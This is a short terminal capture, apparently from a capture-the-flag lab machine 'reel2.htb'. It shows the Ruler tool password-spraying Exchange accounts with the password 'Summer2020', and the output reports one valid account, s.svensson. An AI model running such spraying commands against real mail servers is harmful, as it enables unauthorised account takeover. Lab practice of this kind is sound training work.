$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
[x] Failed: s.sven:Summer2020
[x] Failed: j.jenny:Summer2020
[x] Failed: t.teresa:Summer2020
[x] Failed: t.trump:Summer2020
[x] Failed: a.adams:Summer2020
[x] Failed: l.larsson:Summer2020
[x] Failed: CUBE0X0:Summer2020
[x] Failed: A.ADMIN:Summer2020
[x] Failed: C.CUBE:Summer2020
[+] Success: S.SVENSSON:Summer2020